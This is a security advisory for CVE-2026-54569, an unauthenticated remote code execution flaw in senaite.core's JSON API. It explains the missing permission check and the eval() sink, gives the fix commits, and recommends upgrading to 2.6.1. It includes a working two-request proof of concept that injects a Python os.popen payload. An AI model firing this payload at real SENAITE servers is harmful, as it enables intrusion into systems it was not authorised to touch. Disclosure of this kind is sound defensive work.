CVE-2026-54569: senaite.core Unauthenticated Remote Code Execution via Eval Injection in JSON API
Any unauthenticated attacker who can reach a SENAITE installation can run arbitrary Python commands on the server by sending two plain HTTP requests, with no account or credentials needed.

The problem
The /@@API/update route in bika/lims/jsonapi/update.py does not enforce the senaite.core: Access JSON API permission before processing a request. The sibling create.py route has this gate; update, update_many, remove, doActionFor, and doActionFor_many do not.
Once a request reaches set_fields_from_request in jsonapi/__init__.py, any field of type RecordsField or RecordField has its raw request string value passed directly to Python's eval() at line 240, before any field-level write permission check runs. Because bika_setup is anonymously readable on a default Plone site, its UID can be fetched without credentials via the standard @@uuid view, and its RejectionReasons field is a RecordsField.
The two weaknesses chain into unauthenticated RCE.
Proof of concept
A working proof-of-concept for CVE-2026-54569 in senaite.core, with the exact payload below.
# Step 1: discover bika_setup UID (no credentials needed)
GET /senaite/bika_setup/@@uuid HTTP/1.1
Host: target:8080
# Response body: 8dbc161fa9f74aa4ad6e76eb1934518a
# Step 2: fire the eval payload into the unguarded update route
POST /senaite/@@API/update HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded
obj_uid=8dbc161fa9f74aa4ad6e76eb1934518a&RejectionReasons=__import__('os').popen('id').read()The root cause is a missing authorization gate combined with an unsafe eval() sink. In jsonapi/__init__.py the code ran value = eval(value) for any RecordsField or RecordField input, with full Python builtins available, before the field mutator and its write-permission check had a chance to fire.
Even though the ZODB transaction savepoint rolls back database writes when the mutator subsequently fails, Python side effects such as subprocess calls, file I/O, and outbound network requests have already executed and are not reverted.
Fix 1 (PR #2903, commit a24d65e) adds an AccessJSONAPI permission check at the top of every state-changing route, mirroring the existing guard in create.py. Fix 2 (PR #2919, commit ef4b6d7) replaces eval(value) with json.loads(value) in jsonapi/__init__.py, record.py, and records.py; the stored data shape is a JSON-compatible dict or list of dicts, so json.loads is sufficient and removes the code-execution primitive entirely.
The fix
Upgrade to senaite.core 2.6.1 or later. The release applies both patches: PR #2903 (commit a24d65e) adds the missing AccessJSONAPI permission gate to all write routes, and PR #2919 (commit ef4b6d7) replaces every eval() call on field values with json.loads().
Apply both fixes together; either fix alone breaks the unauthenticated chain but leaves an authenticated eval sink or an open write route, respectively. As a temporary measure, restrict network access to port 8080 and the /@@API/ path tree until the upgrade can be applied.
Reported by Machine Spirits UG (Dr. Simon Weber, Dipl.-Inf. Volker Schönefeld, Chiara Fliegner).
Related research
- highCVE-2026-55541CVE-2026-55541: PraisonAI serve --api-key Flag Missing Authorization
- high · 8.2CVE-2026-55528CVE-2026-55528: praisonaiagents AgentServer Missing Authentication
- critical · 10CVE-2026-61539CVE-2026-61539: Xinference Remote Code Execution via Unsafe eval() in Llama3 Tool-Call Parser
- high · 7.7CVE-2026-71307CVE-2026-71307: Lemur Authenticated Plaintext Destination Credential Exposure